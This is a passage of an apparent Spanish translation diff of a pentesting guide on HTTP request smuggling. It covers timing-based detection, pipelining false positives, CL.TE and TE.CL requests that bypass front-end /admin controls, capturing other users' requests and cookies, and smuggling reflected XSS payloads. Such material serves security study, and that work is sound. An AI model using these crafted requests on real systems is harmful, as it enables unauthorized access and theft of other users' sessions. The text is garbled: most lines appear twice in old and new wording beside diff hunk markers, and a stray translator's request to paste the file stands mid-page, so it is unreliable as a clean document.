Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se leen los datos HTTP iniciales** pero **sin cerrar la conexión**. De este modo, el **body** del HTTP request será considerado el **siguiente HTTP request**.
Por ejemplo, como se explica en [**este artículo**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos **caracteres Unicode** y esto haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.
Por ejemplo, como se explica en [**this writeup**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos caracteres **Unicode** y eso provocaba que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con la cabecera **`Connection: keep-alive`**, el body de la request no se leerá y la conexión permanecerá abierta, por lo que el **body** de la request será tratado como la **siguiente HTTP request**.
#### Forzando a través de encabezados hop-by-hop
#### Forzar mediante hop-by-hop headers
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que un HTTP request smuggling sea posible de abusar**.
Abusando de los hop-by-hop headers puedes indicarle al proxy que elimine la cabecera Content-Length o Transfer-Encoding, de modo que sea posible explotar un HTTP request smuggling.
```
Connection: Content-Length
```
Para **más información sobre los encabezados hop-by-hop** visita:
For **más información sobre hop-by-hop headers** visita:
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Encontrando HTTP Request Smuggling
## Finding HTTP Request Smuggling
Identificar vulnerabilidades de HTTP request smuggling a menudo se puede lograr utilizando técnicas de temporización, que se basan en observar cuánto tiempo tarda el servidor en responder a solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, hay otras estrategias y herramientas que se pueden utilizar para encontrar tales vulnerabilidades:
La identificación de vulnerabilidades de HTTP request smuggling a menudo puede lograrse usando técnicas de temporización, que se basan en observar cuánto tarda el servidor en responder a solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, existen otras estrategias y herramientas que pueden usarse para encontrar dichas vulnerabilidades:
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporización
### Finding CL.TE Vulnerabilities Using Timing Techniques
- **Método:**
- Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor de back-end espere datos adicionales.
- Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
- **Ejemplo:**
```
@ -223,18 +225,18 @@ A
```
- **Observación:**
- El servidor de front-end procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente.
- El servidor de back-end, esperando un mensaje en trozos, espera el siguiente trozo que nunca llega, causando un retraso.
- El front-end procesa la solicitud en base a `Content-Length` y corta el mensaje prematuramente.
- El back-end, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.
- **Indicadores:**
- Timeouts o largos retrasos en la respuesta.
- Recibir un error 400 Bad Request del servidor de back-end, a veces con información detallada del servidor.
- Recibir un 400 Bad Request del back-end, a veces con información detallada del servidor.
### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporización
### Finding TE.CL Vulnerabilities Using Timing Techniques
- **Método:**
- Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor de back-end espere datos adicionales.
- Envía una solicitud que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.
- **Ejemplo:**
```
@ -249,41 +251,41 @@ X
```
- **Observación:**
- El servidor de front-end procesa la solicitud en función de `Transfer-Encoding` y reenvía todo el mensaje.
- El servidor de back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.
- El front-end procesa la solicitud en base a `Transfer-Encoding` y reenvía el mensaje completo.
- El back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.
### Otros Métodos para Encontrar Vulnerabilidades
### Other Methods to Find Vulnerabilities
- **Análisis de Respuesta Diferencial:**
- Envía versiones ligeramente variadas de una solicitud y observa si las respuestas del servidor difieren de manera inesperada, indicando una discrepancia en el análisis.
- **Uso de Herramientas Automatizadas:**
- Herramientas como la extensión 'HTTP Request Smuggler' de Burp Suite pueden probar automáticamente estas vulnerabilidades enviando varias formas de solicitudes ambiguas y analizando las respuestas.
- **Pruebas de Variación de Content-Length:**
- Envía solicitudes con valores de `Content-Length` variados que no están alineados con la longitud real del contenido y observa cómo maneja el servidor tales desajustes.
- **Pruebas de Variación de Transfer-Encoding:**
- Envía solicitudes con encabezados `Transfer-Encoding` ofuscados o malformados y monitorea cómo responden de manera diferente los servidores de front-end y back-end a tales manipulaciones.
- **Differential Response Analysis:**
- Envía versiones ligeramente diferentes de una solicitud y observa si las respuestas del servidor difieren de manera inesperada, lo que indicaría una discrepancia en el parsing.
- **Using Automated Tools:**
- Herramientas como Burp Suite's 'HTTP Request Smuggler' extension pueden probar automáticamente estas vulnerabilidades enviando varias formas de solicitudes ambiguas y analizando las respuestas.
- **Content-Length Variance Tests:**
- Envía solicitudes con distintos valores de `Content-Length` que no concuerden con la longitud real del contenido y observa cómo el servidor maneja tales desajustes.
- **Transfer-Encoding Variance Tests:**
- Envía solicitudes con cabeceras `Transfer-Encoding` ofuscadas o malformadas y monitorea cómo responden de forma diferente el front-end y el back-end a esas manipulaciones.
### Pruebas de Vulnerabilidad de HTTP Request Smuggling
### HTTP Request Smuggling Vulnerability Testing
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si se pueden manipular las solicitudes del cliente. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` produzca una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](#basic-examples) demuestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes del cliente pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes; por ejemplo, hacer que una solicitud a `/` devuelva un 404. Los ejemplos CL.TE y TE.CL discutidos previamente en [Basic Examples](#basic-examples) muestran cómo envenenar la solicitud de un cliente para provocar un 404, a pesar de que el cliente intentaba acceder a otro recurso.
**Consideraciones Clave**
**Consideraciones clave**
Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:
- **Conexiones de Red Distintas:** Las solicitudes "atacantes" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
- **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Hacer coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
- **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "atacante", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "atacante". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
- **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
- **Impacto No Intencionado en Usuarios:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
- **Conexiones de red distintas:** Las solicitudes "de ataque" y "normales" deben enviarse por conexiones de red separadas. Usar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
- **URL y parámetros consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo enrutan solicitudes a servidores back-end específicos según la URL y los parámetros. Coincidirlos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito para un ataque exitoso.
- **Condiciones de carrera y temporización:** La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite con otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la "de ataque". Aplicaciones con mucho tráfico pueden requerir múltiples intentos para una confirmación concluyente.
- **Desafíos de load balancing:** Los front-ends que actúan como load balancers pueden distribuir solicitudes entre varios sistemas back-end. Si la solicitud "de ataque" y la "normal" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
- **Impacto involuntario en otros usuarios:** Si tu ataque afecta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, por lo que es necesario proceder con cautela.
## Distinguiendo artefactos de pipelining de HTTP/1.1 vs smuggling genuino
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
La reutilización de conexiones (keep-alive) y el pipelining pueden producir fácilmente ilusiones de "smuggling" en herramientas de prueba que envían múltiples solicitudes en el mismo socket. Aprende a separar artefactos inofensivos del lado del cliente de la verdadera desincronización del lado del servidor.
La reutilización de conexiones (keep-alive) y el pipelining pueden fácilmente producir ilusiones de "smuggling" en herramientas de prueba que envían múltiples solicitudes sobre el mismo socket. Aprende a separar artefactos inocuos del lado del cliente de una desincronización real del lado del servidor.
### Por qué el pipelining crea falsos positivos clásicos
### Why pipelining creates classic false positives
HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena solicitudes y respuestas en el mismo flujo. En el pipelining, el cliente envía múltiples solicitudes una tras otra y depende de respuestas en orden. Un falso positivo común es reenviar una carga útil malformada de estilo CL.0 dos veces en una sola conexión:
HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena solicitudes y respuestas en el mismo flujo. En pipelining, el cliente envía múltiples solicitudes una tras otra y confía en respuestas en orden. Un falso positivo común es re-enviar dos veces un payload malformado estilo CL.0 en una sola conexión:
```
POST / HTTP/1.1
Host: hackxor.net
@ -292,7 +294,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Las respuestas pueden verse así:
Por favor, pega el contenido del archivo src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca al español. Seguiré las reglas indicadas (conservaré código, nombres técnicos, enlaces, rutas y etiquetas tal cual).
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -306,7 +308,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Si el servidor ignoró el `Content_Length` mal formado, no hay desincronización FE↔BE. Con la reutilización, tu cliente realmente envió este flujo de bytes, que el servidor analizó como dos solicitudes independientes:
Si el servidor ignoró el `Content_Length` malformado, no hay FE↔BE desync. Con reutilización, tu cliente en realidad envió este flujo de bytes, que el servidor analizó como dos solicitudes independientes:
```
POST / HTTP/1.1
Host: hackxor.net
@ -320,78 +322,78 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impacto: ninguno. Solo desincronizaste tu cliente del marco del servidor.
Impacto: ninguno. Simplemente desincronizaste tu cliente respecto al framing del servidor.
> [!TIP]
> Módulos de Burp que dependen de reutilización/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "reutilización de conexión HTTP/1", Repeater "Enviar grupo en secuencia (conexión única)" o "Habilitar reutilización de conexión".
> Módulos de Burp que dependen de reuse/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".
### Pruebas de litmus: ¿pipelining o desincronización real?
### Pruebas definitivas: pipelining o desync real?
1. Desactiva la reutilización y vuelve a probar
- En Burp Intruder/Repeater, desactiva la reutilización HTTP/1 y evita "Enviar grupo en secuencia".
- En Turbo Intruder, establece `requestsPerConnection=1` y `pipeline=False`.
- Si el comportamiento desaparece, probablemente fue pipelining del lado del cliente, a menos que estés tratando con objetivos bloqueados por conexión/o con estado o desincronización del lado del cliente.
2. Verificación de respuesta anidada HTTP/2
- Envía una solicitud HTTP/2. Si el cuerpo de la respuesta contiene una respuesta HTTP/1 anidada completa, has probado un error de análisis/desincronización en el backend en lugar de un artefacto puro del cliente.
3. Sonda de solicitudes parciales para front-ends bloqueados por conexión
- Algunos FEs solo reutilizan la conexión BE ascendente si el cliente reutiliza la suya. Usa solicitudes parciales para detectar el comportamiento del FE que refleja la reutilización del cliente.
- Consulta PortSwigger "BrowserPowered Desync Attacks" para la técnica bloqueada por conexión.
4. Sondeos de estado
- Busca diferencias entre la primera y las solicitudes subsiguientes en la misma conexión TCP (enrutamiento/validación de la primera solicitud).
- Burp "HTTP Request Smuggler" incluye una sonda de estado de conexión que automatiza esto.
5. Visualiza el cable
- Usa la extensión Burp "HTTP Hacker" para inspeccionar la concatenación y el enmarcado de mensajes directamente mientras experimentas con la reutilización y las solicitudes parciales.
1. Disable reuse and re-test
- En Burp Intruder/Repeater, desactiva HTTP/1 reuse y evita "Send group in sequence".
- En Turbo Intruder, configura `requestsPerConnection=1` y `pipeline=False`.
- Si el comportamiento desaparece, probablemente era pipelining del cliente, a menos que estés tratando con targets connection-locked/stateful o con desync del lado del cliente.
2. HTTP/2 nested-response check
- Envía una petición HTTP/2. Si el body de la respuesta contiene una respuesta HTTP/1 completa anidada, has probado un bug de parsing/desync en el backend en lugar de un artefacto puro del cliente.
3. Partial-requests probe for connection-locked front-ends
- Algunos FE solo reutilizan la conexión upstream si el cliente reutilizó la suya. Usa partial-requests para detectar comportamiento del FE que refleja el reuse del cliente.
- Véase PortSwigger "BrowserPowered Desync Attacks" para la técnica connection-locked.
4. State probes
- Busca diferencias entre la primera petición y las posteriores en la misma conexión TCP (routing/validation de la primera petición).
- Burp "HTTP Request Smuggler" incluye una conexiónstate probe que automatiza esto.
5. Visualize the wire
- Usa la extensión de Burp "HTTP Hacker" para inspeccionar la concatenación y el framing de mensajes directamente mientras experimentas con reuse y partial requests.
### Smuggling de solicitudes bloqueadas por conexión (reutilización requerida)
### Connectionlocked request smuggling (reuse-required)
Algunos front-ends solo reutilizan la conexión ascendente cuando el cliente reutiliza la suya. Existe un smuggling real, pero es condicional a la reutilización del lado del cliente. Para distinguir y probar el impacto:
- Prueba el error del lado del servidor
- Usa la verificación de respuesta anidada HTTP/2, o
- Usa solicitudes parciales para mostrar que el FE solo reutiliza el ascendente cuando lo hace el cliente.
- Muestra un impacto real incluso si se bloquea el abuso directo de socket entre usuarios:
- Envenenamiento de caché: envenena cachés compartidos a través de la desincronización para que las respuestas afecten a otros usuarios.
- Divulgación de encabezados internos: refleja encabezados inyectados por el FE (por ejemplo, encabezados de autenticación/confianza) y pivota hacia el bypass de autenticación.
- Eludir controles del FE: smuggle rutas/métodos restringidos más allá del front-end.
- Abuso de encabezado de host: combina con peculiaridades de enrutamiento de host para pivotar hacia vhosts internos.
- Flujo de trabajo del operador
- Reproduce con reutilización controlada (Turbo Intruder `requestsPerConnection=2`, o grupo de pestañas de Burp Repeater → "Enviar grupo en secuencia (conexión única)").
- Luego encadena a primitivas de envenenamiento de caché/divulgación de encabezados/bypass de control y demuestra impacto entre usuarios o de autorización.
Algunos front-ends solo reutilizan la conexión upstream cuando el cliente reutiliza la suya. El smuggling real existe pero es condicional al reuse del lado del cliente. Para distinguir y demostrar impacto:
- Prueba el bug del lado del servidor
- Usa el HTTP/2 nested-response check, o
- Usa partial-requests para mostrar que el FE solo reutiliza upstream cuando el cliente lo hace.
- Muestra impacto real aunque el abuso directo de sockets cross-user esté bloqueado:
- Cache poisoning: envenena caches compartidas vía el desync para que las respuestas afecten a otros usuarios.
- Internal header disclosure: refleja headers inyectados por el FE (por ejemplo, auth/trust headers) y pivota hacia un auth bypass.
- Bypass FE controls: smuggle rutas/métodos restringidos más allá del front-end.
- Host-header abuse: combina con peculiaridades del host routing para pivotar a vhosts internos.
- Operator workflow
- Reproduce con reuse controlado (Turbo Intruder `requestsPerConnection=2`, o Burp Repeater tab group → "Send group in sequence (single connection)").
- Luego encadena hacia primitives de cache/header-leak/control-bypass y demuestra impacto cross-user o de autorización.
> Consulta también ataques de estado de conexión, que están estrechamente relacionados pero no son técnicamente smuggling:
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### Restricciones de desincronización del lado del cliente
### Clientside desync constraints
Si estás apuntando a desincronización del lado del cliente/potenciada por el navegador, la solicitud maliciosa debe ser enviable por un navegador de origen cruzado. Los trucos de ofuscación de encabezados no funcionarán. Concéntrate en primitivas accesibles a través de navegación/fetch, y luego pivota hacia el envenenamiento de caché, divulgación de encabezados o bypass de control del front-end donde los componentes descendentes reflejan o almacenan en caché las respuestas.
Si estás atacando desync alimentado por navegador/client-side, la petición maliciosa debe ser enviable por un browser cross-origin. Los trucos de header obfuscation no funcionarán. Enfócate en primitives alcanzables vía navigation/fetch, y luego pivota a cache poisoning, header disclosure o bypass de controles front-end cuando componentes downstream reflejen o cacheen respuestas.
Para obtener información de fondo y flujos de trabajo de extremo a extremo:
Para contexto y workflows endtoend:
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
### Herramientas para ayudar a decidir
### Tooling to help decide
- HTTP Hacker (Burp BApp Store): expone el comportamiento HTTP de bajo nivel y la concatenación de sockets.
- "¿Smuggling o pipelining?" Acción personalizada de Burp Repeater: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: control preciso sobre la reutilización de conexiones a través de `requestsPerConnection`.
- Burp HTTP Request Smuggler: incluye una sonda de estado de conexión para detectar enrutamiento/validación de la primera solicitud.
- HTTP Hacker (Burp BApp Store): expone comportamiento HTTP a bajo nivel y concatenación de sockets.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: control preciso sobre connection reuse vía `requestsPerConnection`.
- Burp HTTP Request Smuggler: incluye una connectionstate probe para detectar routing/validation de la primera petición.
> [!NOTE]
> Trata los efectos solo de reutilización como no problemas a menos que puedas probar la desincronización del lado del servidor y adjuntar un impacto concreto (artefacto de caché envenenado, encabezado interno filtrado que permite el bypass de privilegios, control del FE eludido, etc.).
> Trata los efectos que dependen solo de reuse como no-problemas a menos que puedas probar un desync del lado del servidor y adjuntar un impacto concreto (artefacto de cache envenenada, internal header leak que permite bypass de privilegios, control del FE bypassed, etc.).
## Abusando del HTTP Request Smuggling
## Abusing HTTP Request Smuggling
### Eludir la seguridad del front-end a través del HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
A veces, los proxies del front-end imponen medidas de seguridad, examinando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas al explotar el HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy del front-end bloqueando activamente tales intentos. No obstante, este proxy puede descuidar inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP smuggled, dejando una laguna para eludir estas restricciones.
A veces, los proxies front-end imponen medidas de seguridad y escrutan las peticiones entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo acceso no autorizado a endpoints restringidos. Por ejemplo, acceder a `/admin` puede estar prohibido desde el exterior, con el proxy front-end bloqueando activamente esos intentos. No obstante, este proxy puede no inspeccionar las peticiones embebidas dentro de una petición HTTP smuggled, dejando una brecha para eludir estas restricciones.
Considera los siguientes ejemplos que ilustran cómo se puede usar el HTTP Request Smuggling para eludir los controles de seguridad del front-end, específicamente apuntando a la ruta `/admin` que típicamente está protegida por el proxy del front-end:
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede usarse para evadir controles de seguridad del front-end, apuntando específicamente al path `/admin` que típicamente está protegido por el proxy front-end:
**Ejemplo CL.TE**
**CL.TE Example**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -408,7 +410,7 @@ Content-Length: 10
x=
```
En el ataque CL.TE, se aprovecha el encabezado `Content-Length` para la solicitud inicial, mientras que la solicitud embebida subsiguiente utiliza el encabezado `Transfer-Encoding: chunked`. El proxy del front-end procesa la solicitud `POST` inicial pero no inspecciona la solicitud embebida `GET /admin`, lo que permite el acceso no autorizado a la ruta `/admin`.
En el ataque CL.TE, la cabecera `Content-Length` se aprovecha para la solicitud inicial, mientras que la solicitud incrustada posterior utiliza la cabecera `Transfer-Encoding: chunked`. El proxy frontal procesa la solicitud `POST` inicial pero no inspecciona la solicitud incrustada `GET /admin`, permitiendo el acceso no autorizado a la ruta `/admin`.
**TE.CL Ejemplo**
```
@ -426,13 +428,13 @@ a=x
0
```
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy del front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` usa `Transfer-Encoding: chunked`, y la solicitud embebida posterior se procesa según la cabecera `Content-Length`. De forma similar al ataque CL.TE, el proxy front-end pasa por alto la smuggled `GET /admin`, concediendo involuntariamente acceso a la ruta restringida `/admin`.
### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de pasarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o puntos finales ocultos**.
Las aplicaciones suelen emplear un **front-end server** para modificar las peticiones entrantes antes de pasarlas al **back-end server**. Una modificación típica consiste en añadir cabeceras, como `X-Forwarded-For: <IP of the client>`, para retransmitir la IP del cliente al back-end. Entender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o endpoints ocultos**.
Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end ecoa en la respuesta. Luego, elabora una solicitud, utilizando este parámetro al final, similar a lo siguiente:
Para investigar cómo un proxy altera una solicitud, localiza un parámetro `POST` que el back-end refleje en la respuesta. Luego, crea una solicitud utilizando ese parámetro al final, similar a lo siguiente:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -449,19 +451,19 @@ Content-Length: 100
search=
```
En esta estructura, los componentes de la solicitud subsiguiente se añaden después de `search=`, que es el parámetro reflejado en la respuesta. Este reflejo expondrá los encabezados de la solicitud subsiguiente.
En esta estructura, los componentes de la solicitud subsiguiente se anexan después de `search=`, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsiguiente.
Es importante alinear el encabezado `Content-Length` de la solicitud anidada con la longitud real del contenido. Se aconseja comenzar con un valor pequeño e incrementar gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que un valor demasiado alto puede causar que la solicitud falle.
Es importante alinear el encabezado `Content-Length` de la solicitud anidada con la longitud real del contenido. Es recomendable comenzar con un valor pequeño e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede provocar que la solicitud falle.
Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.
Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debería terminar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro `search`.
Este método sirve principalmente para entender las modificaciones de la solicitud realizadas por el proxy del front-end, realizando esencialmente una investigación autodirigida.
Este método sirve principalmente para entender las modificaciones de solicitud realizadas por el proxy front-end, realizando esencialmente una investigación autodirigida.
### Capturando las solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Aquí se explica cómo se puede lograr:
Es factible capturar las solicitudes del siguiente usuario agregando una solicitud específica como el valor de un parámetro durante una operación POST. Así es como esto puede llevarse a cabo:
Al añadir la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente:
Al anexar la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
En este escenario, el **parámetro de comentario** está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página accesible públicamente. En consecuencia, el contenido de la solicitud subsiguiente aparecerá como un comentario.
En este escenario, el **comment parameter** está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la solicitud siguiente aparecerá como un comentario.
Sin embargo, esta técnica tiene limitaciones. Generalmente, captura datos solo hasta el delimitador de parámetro utilizado en la solicitud contrabandeada. Para envíos de formularios codificados en URL, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte de la cadena de consulta.
Sin embargo, esta técnica tiene limitaciones. En general captura datos solo hasta el delimitador de parámetros usado en la smuggled request. Para envíos de formularios URL-encoded, este delimitador es el carácter `&`. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer `&`, que incluso puede ser parte del query string.
Además, vale la pena señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En tales casos, la solicitud debe concluir con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
Además, cabe destacar que este enfoque también es viable con una vulnerabilidad TE.CL. En esos casos, la solicitud debe terminar con `search=\r\n0`. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.
### Usando el contrabando de solicitudes HTTP para explotar XSS reflejado
### Usando HTTP request smuggling para explotar reflected XSS
El contrabando de solicitudes HTTP se puede aprovechar para explotar páginas web vulnerables a **XSS Reflejado**, ofreciendo ventajas significativas:
HTTP Request Smuggling puede aprovecharse para explotar páginas web vulnerables a **Reflected XSS**, ofreciendo ventajas significativas:
- La interacción con los usuarios objetivo **no es necesaria**.
- Permite la explotación de XSS en partes de la solicitud que son **normalmente inalcanzables**, como los encabezados de solicitudes HTTP.
- Permite la explotación de XSS en partes de la solicitud que son **normalmente inalcanzables**, como HTTP request headers.
En escenarios donde un sitio web es susceptible a XSS Reflejado a través del encabezado User-Agent, la siguiente carga útil demuestra cómo explotar esta vulnerabilidad:
En escenarios en los que un sitio web es susceptible a Reflected XSS a través del header User-Agent, el siguiente payload demuestra cómo explotar esta vulnerabilidad:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Este payload está estructurado para explotar la vulnerabilidad mediante:
This payload está estructurado para explotar la vulnerabilidad de la siguiente manera:
1. Iniciando una solicitud `POST`, aparentemente típica, con un encabezado `Transfer-Encoding: chunked` para indicar el inicio del smuggling.
2. Siguiendo con un `0`, marcando el final del cuerpo del mensaje en chunks.
3. Luego, se introduce una solicitud `GET` smuggled, donde el encabezado `User-Agent` se inyecta con un script, `<script>alert(1)</script>`, activando el XSS cuando el servidor procesa esta solicitud subsiguiente.
1. Iniciando una petición `POST`, aparentemente típica, con el encabezado `Transfer-Encoding: chunked` para indicar el inicio del smuggling.
2. Seguida de un `0`, marcando el final del cuerpo del mensaje chunked.
3. Luego se introduce una petición `GET` smuggled, donde el encabezado `User-Agent` es inyectado con un script, `<script>alert(1)</script>`, desencadenando el XSS cuando el servidor procesa esta petición posterior.
Al manipular el `User-Agent` a través del smuggling, el payload elude las restricciones normales de la solicitud, explotando así la vulnerabilidad de XSS Reflejado de una manera no estándar pero efectiva.
Al manipular el `User-Agent` mediante smuggling, el payload elude las restricciones normales de las peticiones, explotando así la vulnerabilidad Reflected XSS de una manera no estándar pero efectiva.
#### HTTP/0.9
> [!CAUTION]
> En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. ¡Si el servidor soporta **HTTP/0.9 podría ser posible eludir esto**!
> En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, se impediría la ejecución del XSS. Si el servidor soporta **HTTP/0.9** ¡podría ser posible sortear esto!
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
La versión HTTP/0.9 fue anterior a la 1.0 y solo usa verbos **GET** y **no** responde con **headers**, solo con el body.
En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitudes y un **punto final vulnerable que responderá con la entrada del usuario** para smuggling una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta HTTP/1.1 falsa (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`.
